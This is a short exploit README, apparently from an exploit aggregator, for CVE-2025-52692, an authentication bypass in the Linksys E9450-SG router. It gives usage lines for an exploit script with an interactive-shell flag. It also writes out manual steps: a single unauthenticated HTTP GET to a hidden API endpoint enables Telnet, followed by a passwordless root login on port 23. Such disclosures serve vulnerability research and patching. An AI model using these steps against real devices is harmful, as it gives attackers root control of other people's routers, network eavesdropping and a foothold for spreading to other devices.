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## https://sploitus.com/exploit?id=16564869-F561-5F2B-BCD8-CA05F0E1DCC8
# CVE-2025-52692
**Linksys E9450-SG Authentication Bypass**
## Overview
Authentication bypass enabling hidden Telnet server with root access.
| Field | Value |
|-------|-------|
| Product | Linksys E9450-SG |
| Firmware | 1.2.00.052 |
| CVSS | 8.8 (High) |
| Type | Authentication Bypass |
| Vector | HTTP GET (LAN) |
| Impact | Full Root Access |
## Attack Flow
```mermaid
flowchart LR
A[Attacker] --> B["Access Hidden API"]
B --> C["/LOGIN/API/obj/en_telnet"]
C --> D[Bypass Auth]
D --> E[Enable Telnet]
E --> F["Connect Port 23"]
F --> G[Login as root]
G --> H[Full Control]
```
## Technical Details
The vulnerability is a logic error in URL processing. The endpoint `/LOGIN/API/obj/en_telnet` can be accessed without authentication and silently enables the router's hidden Telnet server.
**Impact:**
- Eavesdrop on network traffic
- Install malware/backdoors
- Pivot to other network devices
## Usage
```bash
python exploit.py
python exploit.py 192.168.1.1 --check-only
python exploit.py 192.168.1.1 --interactive
```
## Parameters
| Flag | Description | Default |
|------|-------------|---------|
| `-p, --port` | HTTP port | 80 |
| `-t, --timeout` | Connection timeout | 10 |
| `--interactive` | Get interactive shell | off |
| `--check-only` | Only check if vulnerable | off |
## Requirements
```
requests
```
## Manual Exploitation
```bash
curl http:///LOGIN/API/obj/en_telnet
telnet 23
# Login: root (no password)
```
## Disclaimer
For authorized security testing only. Device is EOL.